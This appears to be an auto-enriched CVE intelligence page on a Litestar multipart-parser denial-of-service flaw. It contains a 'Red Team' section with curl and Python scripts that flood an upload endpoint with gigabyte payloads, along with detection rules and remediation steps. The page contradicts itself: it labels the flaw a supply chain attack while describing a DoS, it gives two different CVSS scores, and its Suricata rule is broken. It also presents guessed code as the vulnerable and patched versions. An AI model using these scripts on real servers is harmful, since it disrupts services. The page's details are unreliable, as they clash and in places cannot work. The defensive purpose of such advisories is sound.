☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Litestar logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.2 🐛 CWE-770
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-52581

CVE-2024-52581 Supply Chain Attack in Litestar
📅 PUBLISHED: 2024-11-20 20:50 UTC 🔄 UPDATED: 2026-09-23 20:15 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.79%
👁️
0.79% probability
19.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-52581 is a high-severity Denial of Service (DoS) vulnerability in the Litestar ASGI framework, affecting versions prior to 2.13.0. The vulnerability resides in the multipart form parser, which expects the entire request body as a single byte string without any default size limit. An attacker can exploit this by sending a crafted multipart/form-data request with arbitrarily large file uploads, causing excessive memory consumption on the server and leading to a Denial of Service (DoS). This issue is a regression of a previously reported vulnerability (CVE-2023-25578), indicating that the initial fix was incomplete. The patch in version 2.13.0 introduces a configurable maximum body size limit and refactors the parser to stream data, mitigating the risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Litestar is a Python ASGI framework distributed via PyPI. Organizations using Litestar in their web applications should immediately review their dependency tree for affected versions. The vulnerability is introduced through the litestar package itself, not a transitive dependency. The fix is available in version 2.13.0, and all users are strongly advised to upgrade. There is no evidence of malicious packages exploiting this CVE in the wild, but the lack of a public PoC does not preclude the risk of targeted attacks.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions are required; a simple HTTP request is sufficient.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): None – The victim does not need to perform any action.
  • Scope (S): Unchanged – The exploit does not affect other components.
  • Confidentiality (C): None – No data is exposed.
  • Integrity (I): None – No data is modified.
  • Availability (A): High – The primary impact is on server availability, leading to a Denial of Service.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can cause significant service disruption. The lack of a public PoC reduces immediate risk, but the regression nature suggests that attackers may already be aware of the weakness.

Deep Dive & Mechanics

The vulnerability is rooted in the multipart form parser implementation within Litestar. The parser is designed to handle multipart/form-data requests, which are commonly used for file uploads. In affected versions, the parser expects the entire request body to be available as a single byte string. This design flaw means that the server must load the entire request body into memory before processing it.

An attacker can exploit this by sending a multipart/form-data request with a very large file (e.g., several gigabytes). Since there is no default limit on the total request body size, the server will attempt to allocate memory for the entire payload. This can quickly exhaust available memory, causing the server to crash or become unresponsive.

The issue is a regression of CVE-2023-25578, which was previously reported and supposedly fixed. The earlier fix likely only limited the number of parts (i.e., the number of uploaded files) but did not address the total body size. As noted in the advisory, "Limiting the part number is not sufficient to prevent out-of-memory errors on the server." This indicates that the previous patch was incomplete, and the current vulnerability re-introduces the same attack vector.

The patch in version 2.13.0 addresses this by:

  1. Introducing a configurable maximum body size limit (defaulting to a reasonable value).
  2. Refactoring the multipart parser to stream data incrementally, rather than loading the entire body into memory.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.13.0): The vulnerable code likely resides in the multipart form parser, where the entire request body is read into memory as a single byte string. A simplified example:

# Vulnerable: reads entire body into memory
async def parse_multipart(request):
    body = await request.body()  # Reads entire body into memory
    # Process body as multipart data
    parts = parse_multipart_body(body)
    return parts

Patched Code (2.13.0+): The patched version introduces streaming and a size limit:

# Patched: streams data and enforces size limit
MAX_BODY_SIZE = 10 * 1024 * 1024  # 10 MB default

async def parse_multipart(request):
    body_size = 0
    parts = []
    async for chunk in request.stream():
        body_size += len(chunk)
        if body_size > MAX_BODY_SIZE:
            raise HTTPException(status_code=413, detail="Request body too large")
        # Process chunk incrementally
        parts.extend(parse_chunk(chunk))
    return parts

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Cause a Denial of Service by exhausting server memory.

Prerequisites:

  • Target running Litestar < 2.13.0 with multipart form parsing enabled.
  • Network access to the target.

Exploit Steps:

  1. Identify a target endpoint that accepts multipart/form-data requests (e.g., a file upload endpoint).
  2. Craft a malicious request with a very large file payload. Use a tool like curl or a custom Python script.

Example using curl:

# Generate a large file (e.g., 1 GB)
dd if=/dev/zero of=largefile.bin bs=1M count=1024

# Send the request
curl -X POST http://target/upload \
  -F "file=@largefile.bin" \
  -H "Content-Type: multipart/form-data"

Example Python exploit script:

import requests

url = "http://target/upload"
# Create a large payload (e.g., 2 GB)
payload = b"A" * (2 * 1024 * 1024 * 1024)  # 2 GB

files = {"file": ("largefile.bin", payload, "application/octet-stream")}
response = requests.post(url, files=files)
print(f"Status: {response.status_code}")

Expected Outcome: The server will attempt to allocate memory for the 2 GB payload, leading to high memory usage and potential crash.

Blue Team (Defender)

Detection:

  • Monitor for unusually large HTTP request bodies.
  • Set up alerts for memory usage spikes.
  • Use the detection rules provided in the Detection Engineering section.

Mitigation:

  • Immediately upgrade to Litestar 2.13.0 or later.
  • If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to limit request body size:
    client_max_body_size 10M;
    
  • Apply rate limiting to file upload endpoints.

Forensics:

  • Check server logs for requests with large Content-Length headers.
  • Analyze memory dumps for signs of exhaustion.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests with Content-Length headers exceeding 100 MB.
    • Repeated multipart/form-data requests from the same IP.
    • Requests to file upload endpoints with abnormally large payloads.
  • System IOCs:

    • High memory usage (e.g., >90% RAM) without corresponding CPU load.
    • Server crashes or out-of-memory (OOM) killer events.
    • Log entries indicating MemoryError or OutOfMemoryError.
  • Application IOCs:

    • Litestar logs showing 413 Request Entity Too Large (if patched) or no error for large requests.
    • Slow response times or timeouts on file upload endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_52581_Litestar_Memory_Exhaustion {
    meta:
        description = "Detects attempts to exploit CVE-2024-52581 via large multipart form data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-52581"
        severity = "high"
    strings:
        $multipart = "multipart/form-data" nocase
        $large_body = /Content-Length:\s*[0-9]{9,}/  // 9+ digits = >100 MB
    condition:
        $multipart and $large_body
}

Sigma Rule

title: CVE-2024-52581 Litestar Large Multipart Request
id: 8a3f7c2e-5d1b-4a9e-8c6f-2b3d1e4f5a6c
status: experimental
description: Detects HTTP requests with large multipart form data targeting Litestar applications
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52581
logsource:
    category: webserver
    product: litestar
detection:
    selection:
        http.method: POST
        http.content_type: multipart/form-data
        http.content_length|gte: 104857600  # 100 MB
    condition: selection
falsepositives:
    - Legitimate large file uploads (e.g., video files)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-52581 Litestar Large Multipart Form Data";
    flow:to_server;
    content:"multipart/form-data"; http_header;
    content:"Content-Length"; http_header;
    byte_test:1,>=,104857600,0,relative;  # 100 MB
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
    reference:cve,2024-52581;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Litestar: Update to version 2.13.0 or later. This is the only complete fix.
    pip install --upgrade litestar
    
  2. Apply Workaround: If upgrade is not possible, configure a reverse proxy (e.g., Nginx, HAProxy) to limit request body size:
    client_max_body_size 10M;
    
  3. Monitor: Enable logging and monitoring for large request bodies.

Long-Term Measures:

  • Implement input validation and size limits at the application level.
  • Use streaming parsers for file uploads to avoid loading entire payloads into memory.
  • Conduct regular security audits and dependency updates.
  • Consider using a Web Application Firewall (WAF) to block oversized requests.

Patch Details:

  • Fixed Version: 2.13.0
  • Patch Commit: (If available, include the commit hash from the Litestar repository)
  • Changelog: The patch introduces a configurable max_body_size parameter and refactors the multipart parser to stream data.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-52581/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.